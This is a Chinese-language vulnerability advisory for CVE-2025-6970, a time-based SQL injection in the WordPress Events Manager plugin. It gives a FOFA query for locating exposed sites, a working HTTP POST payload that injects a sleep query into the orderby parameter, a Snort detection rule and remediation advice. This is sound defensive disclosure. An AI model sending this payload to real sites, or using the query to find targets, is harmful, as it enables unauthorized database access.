

WordPressEventsManager-CVE-2025-6970-Sql注入

WordPressEventsManager-CVE-2025-6970-Sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

WordPressEventsManager

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/wp-content/plugins/events-manager/"

POC/EXP:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

action=search_events&orderby=1*(select(sleep(5)))
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"WordPress Events Manager - Time-Based SQLi (CVE-2025-6970)";  
  flow:to_server,established;  
  content:"POST"; http_method;  
  content:"/wp-admin/admin-ajax.php"; http_uri;  
  content:"action=search_events"; http_client_body;  
  content:"orderby="; http_client_body;  
  pcre:"/orderby=[^&]*\d+*\*(select\(sleep\(\d+\)\)\)/i";  
  metadata:cve CVE-2025-6970;  
  metadata:affected_product "WordPress Events Manager Plugin";  
  metadata:vulnerability_type "MySQL Time-Based SQL Injection";  
  classtype:sql-injection;  
  sid:1000355;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。